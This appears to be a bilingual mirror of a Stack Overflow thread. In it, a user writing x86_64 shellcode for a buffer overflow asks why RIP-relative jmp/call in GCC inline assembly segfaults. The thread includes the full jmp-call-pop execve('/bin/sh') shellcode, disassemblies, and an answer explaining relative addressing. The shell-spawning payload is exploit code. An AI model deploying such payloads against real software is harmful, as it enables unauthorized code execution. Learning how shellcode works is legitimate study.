简体   繁体   English

如何在GCC中使用内联汇编进行相对跳转/调用(x86_64)

[英]how to do a relative jump/call with inline assembly in GCC (x86_64)

I'm working on writing an exploit to spawn a shell from scratch. 我正在编写一个漏洞从头开始生成shell。 (ie to be used in a buffer overflow). (即用于缓冲区溢出)。 One of the problems I'm facing is getting the jmp statements to work. 我面临的一个问题是让jmp语句起作用。 My understanding is that the jmp instruction is relative to the ip. 我的理解是jmp指令是相对于ip的。 However when I try to run the following in inline assembly I get a jump to an absolute address. 但是,当我尝试在内联汇编中运行以下内容时,我会跳转到绝对地址。

jmp 0x28 #in inline GCC will jump to address 0x28 not 0x28 relative to the ip

One way I've gotten around this is to use the IP as part of the instruction like so: 我得到的一种方法是使用IP作为指令的一部分,如下所示:

jmp *0x28(%rip) #will jump to address 0x28 relative to the ip

However when I do this I get a segmentation fault on jmp 但是当我这样做时,我在jmp上遇到了分段错误

The entire assembly code is below: 整个汇编代码如下:

void main() {
    __asm__(
    "jmp  *0x28(%rip)                           \n"
    "popq %rax                              \n" 
    "movw $0x0, 0x0(%rax)       #add null termination           \n"
    "movq %rax,0x8(%rax)        #set up argv in memory          \n"
    "movq $0, 0x10(%rax)                            \n"
    "mov $0x0, %edx         #set up arg 3               \n"
    "mov %rax, %rsi                             \n"
    "add $0x8, %rsi                             \n"
    "mov %rax,%rdi                              \n"
    "mov $0x3b,%eax                             \n"
    "syscall                                \n"
    "call *-0x2e(%rip)                          \n"
    ".string \"/bin/sh\""
    );
}

The disassembled output from GDB is: GDB的反汇编输出是:

Dump of assembler code for function main:
   0x00000000004004ac <+0>: push   %rbp
   0x00000000004004ad <+1>: mov    %rsp,%rbp
   0x00000000004004b0 <+4>: jmpq   *0x28(%rip)        # 0x4004de <main+50>
   0x00000000004004b6 <+10>:    pop    %rax
   0x00000000004004b7 <+11>:    movw   $0x0,(%rax)
   0x00000000004004bc <+16>:    mov    %rax,0x8(%rax)
   0x00000000004004c0 <+20>:    movq   $0x0,0x10(%rax)
   0x00000000004004c8 <+28>:    mov    $0x0,%edx
   0x00000000004004cd <+33>:    mov    %rax,%rsi
   0x00000000004004d0 <+36>:    add    $0x8,%rsi
   0x00000000004004d4 <+40>:    mov    %rax,%rdi
   0x00000000004004d7 <+43>:    mov    $0x3b,%eax
   0x00000000004004dc <+48>:    syscall 
   0x00000000004004de <+50>:    callq  *-0x2e(%rip)        # 0x4004b6 <main+10>
   0x00000000004004e4 <+56>:    (bad)  
   0x00000000004004e5 <+57>:    (bad)  
   0x00000000004004e6 <+58>:    imul   $0x5d006873,0x2f(%rsi),%ebp
   0x00000000004004ed <+65>:    retq   
End of assembler dump.

I get a segfault on the first instruction jmp *0x28(%rip) despite the fact that GDB says it's going to go to the correct address. 我在第一条指令jmp *0x28(%rip)上得到了一个段错误,尽管GDB说它会转到正确的地址。

What's interesting is that if I place a label before call *-0x2e(%rip) and jmp to that it works. 有趣的是,如果我在call *-0x2e(%rip)之前放置一个标签call *-0x2e(%rip)和jmp,那就可以了。 The address will be absolute and the segmentation fault at jmp will not be produced. 地址将是绝对的,并且不会产生jmp的分段错误。

C code using label: 使用标签的C代码:

void main() {
    __asm__(
    "jmp  my_hack                               \n"
    "popq %rax                              \n" 
    "movw $0x0, 0x0(%rax)       #add null termination           \n"
    "movq %rax,0x8(%rax)        #set up argv in memory          \n"
    "movq $0, 0x10(%rax)                            \n"
    "mov $0x0, %edx         #set up arg 3               \n"
    "mov %rax, %rsi                             \n"
    "add $0x8, %rsi                             \n"
    "mov %rax,%rdi                              \n"
    "mov $0x3b,%eax                             \n"
    "syscall                                \n"
    "my_hack:                               \n"
    "call *-0x2e(%rip)                          \n"
    ".string \"/bin/sh\""
    );
}

Resulting disassembly 结果反汇编

Dump of assembler code for function main:
   0x00000000004004ac <+0>: push   %rbp
   0x00000000004004ad <+1>: mov    %rsp,%rbp
   0x00000000004004b0 <+4>: jmp    0x4004da <main+46>
   0x00000000004004b2 <+6>: pop    %rax
   0x00000000004004b3 <+7>: movw   $0x0,(%rax)
   0x00000000004004b8 <+12>:    mov    %rax,0x8(%rax)
   0x00000000004004bc <+16>:    movq   $0x0,0x10(%rax)
   0x00000000004004c4 <+24>:    mov    $0x0,%edx
   0x00000000004004c9 <+29>:    mov    %rax,%rsi
   0x00000000004004cc <+32>:    add    $0x8,%rsi
   0x00000000004004d0 <+36>:    mov    %rax,%rdi
   0x00000000004004d3 <+39>:    mov    $0x3b,%eax
   0x00000000004004d8 <+44>:    syscall 
   0x00000000004004da <+46>:    callq  *-0x2e(%rip)        # 0x4004b2 <main+6>
   0x00000000004004e0 <+52>:    (bad)  
   0x00000000004004e1 <+53>:    (bad)  
   0x00000000004004e2 <+54>:    imul   $0x5d006873,0x2f(%rsi),%ebp
   0x00000000004004e9 <+61>:    retq   
End of assembler dump.

The jump using the label in the above disassemble will not produce an segmentation fault. 使用上述反汇编中的标签进行的跳转不会产生分段错误。 The call that's executed at 0x00000000004004da will. 0x00000000004004da执行的调用将。

Can somebody explain why using the rip in jmp causes the segmentation fault? 有人可以解释为什么在jmp中使用rip会导致分段错误吗?

How can a relative jump/call be done with GCC inline assembly? 如何使用GCC内联汇编进行相对跳转/调用? I don't know how to check the assembler however I'm pretty sure I'm using GAS (on their wiki it says it's the default GCC assembler). 我不知道如何检查汇编程序但是我很确定我正在使用GAS(在他们的wiki上它说它是默认的GCC汇编程序)。 There have been suggestions in related questions to use syntax such as jmp .+0x28 however this will result in being an absolute jump and not a relative jump to the pc. 在相关问题中已经建议使用诸如jmp .+0x28语法,但是这将导致绝对跳转而不是相对跳转到pc。

I think you have a bit too much indirection. 我认为你有太多的间接性。 Try 尝试

jmp 0x28(%rip)

In assembler, it would be written (approximately) as 在汇编程序中,它将被写为(大约)

jmp   $+0x28

I wrote approximately because the assembly instruction is relative to the instruction's beginning address. 我写的大概是因为汇编指令是相对于指令的起始地址。 But rip is incremented to the next instruction by the time it executes. 但是rip在执行时会增加到下一条指令。 So to get the same effect something like 所以要获得相同的效果

jmp   $+0x24     # maybe 0x23, maybe 0x25 depending on the instruction length

When you jmp and call to a label, you are using a relative address and not an absolute address. 当你jmpcall给一个标签,您使用的相对地址,而不是绝对地址。 The disassembly you're seeing in GDB may be deceptive, try objdump -D <ELF file> and look for the main segment. 您在GDB中看到的反汇编可能具有欺骗性,请尝试使用objdump -D <ELF file>并查找main段。

Here's what objdump tells us about your first example. 这是objdump告诉我们你的第一个例子。

00000000004004b4 <main>:
  4004b4:       55                      push   %rbp
  4004b5:       48 89 e5                mov    %rsp,%rbp
  4004b8:       ff 25 28 00 00 00       jmpq   *0x28(%rip)        # 4004e6 <main+0x32>
  4004be:       58                      pop    %rax
  4004bf:       66 c7 00 00 00          movw   $0x0,(%rax)
  4004c4:       48 89 40 08             mov    %rax,0x8(%rax)
  4004c8:       48 c7 40 10 00 00 00    movq   $0x0,0x10(%rax)
  4004cf:       00 
  4004d0:       ba 00 00 00 00          mov    $0x0,%edx
  4004d5:       48 89 c6                mov    %rax,%rsi
  4004d8:       48 83 c6 08             add    $0x8,%rsi
  4004dc:       48 89 c7                mov    %rax,%rdi
  4004df:       b8 3b 00 00 00          mov    $0x3b,%eax
  4004e4:       0f 05                   syscall 
  4004e6:       ff 15 d2 ff ff ff       callq  *-0x2e(%rip)        # 4004be <main+0xa>
  4004ec:       2f                      (bad)  
  4004ed:       62                      (bad)  
  4004ee:       69 6e 2f 73 68 00 5d    imul   $0x5d006873,0x2f(%rsi),%ebp
  4004f5:       c3                      retq

The jmp at 0x4004b8 is probably not what you want. 0x4004b8jmp可能不是你想要的。 It jumps to the address referenced at memory location 0x4004e6 ; 它跳转到内存位置0x4004e6引用的地址; attempts to execute instructions at 0x622fffffffd215ff are likely to throw a page fault. 试图在0x622fffffffd215ff执行指令可能会引发页面错误。 Likewise the call at 0x4004e6 is actually moving the program counter to 0x66580000002825ff resulting in another likely segfault. 同样, 0x4004e6处的call实际上是将程序计数器移动到0x66580000002825ff导致另一个可能的段错误。

I've slightly modified your second example 我稍微修改了你的第二个例子

void main() {
    __asm__(
    "jmp  my_hack                               \n"
    "my_hack2:\n"
    "popq %rax                              \n" 
    "movw $0x0, 0x0(%rax)       #add null termination           \n"
    "movq %rax,0x8(%rax)        #set up argv in memory          \n"
    "movq $0, 0x10(%rax)                            \n"
    "mov $0x0, %edx         #set up arg 3               \n"
    "mov %rax, %rsi                             \n"
    "add $0x8, %rsi                             \n"
    "mov %rax,%rdi                              \n"
    "mov $0x3b,%eax                             \n"
    "syscall                                \n"
    "my_hack:                               \n"
    "call my_hack2                          \n"
    ".string \"/bin/sh\""
    );
}

...and the resulting disassembly from objdump ......以及从objdump产生的反汇编

00000000004004b4 <main>:
  4004b4:       55                      push   %rbp
  4004b5:       48 89 e5                mov    %rsp,%rbp
  4004b8:       eb 28                   jmp    4004e2 <my_hack>

00000000004004ba <my_hack2>:
  4004ba:       58                      pop    %rax
  4004bb:       66 c7 00 00 00          movw   $0x0,(%rax)
  4004c0:       48 89 40 08             mov    %rax,0x8(%rax)
  4004c4:       48 c7 40 10 00 00 00    movq   $0x0,0x10(%rax)
  4004cb:       00 
  4004cc:       ba 00 00 00 00          mov    $0x0,%edx
  4004d1:       48 89 c6                mov    %rax,%rsi
  4004d4:       48 83 c6 08             add    $0x8,%rsi
  4004d8:       48 89 c7                mov    %rax,%rdi
  4004db:       b8 3b 00 00 00          mov    $0x3b,%eax
  4004e0:       0f 05                   syscall 

00000000004004e2 <my_hack>:
  4004e2:       e8 d3 ff ff ff          callq  4004ba <my_hack2>
  4004e7:       2f                      (bad)  
  4004e8:       62                      (bad)  
  4004e9:       69 6e 2f 73 68 00 5d    imul   $0x5d006873,0x2f(%rsi),%ebp
  4004f0:       c3                      retq

Even if you don't know the instruction encoding for jmp and call , hopefully it is obvious that the assembler generated relative addresses for the instructions at 0x4004b8 and 0x4004e2 . 即使您不知道jmpcall的指令编码,希望很明显汇编器为0x4004b80x4004e2处的指令生成相对地址。

Your program still segfaults but hopefully this helps you figure out why. 您的程序仍然是段错误,但希望这可以帮助您弄清楚原因。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM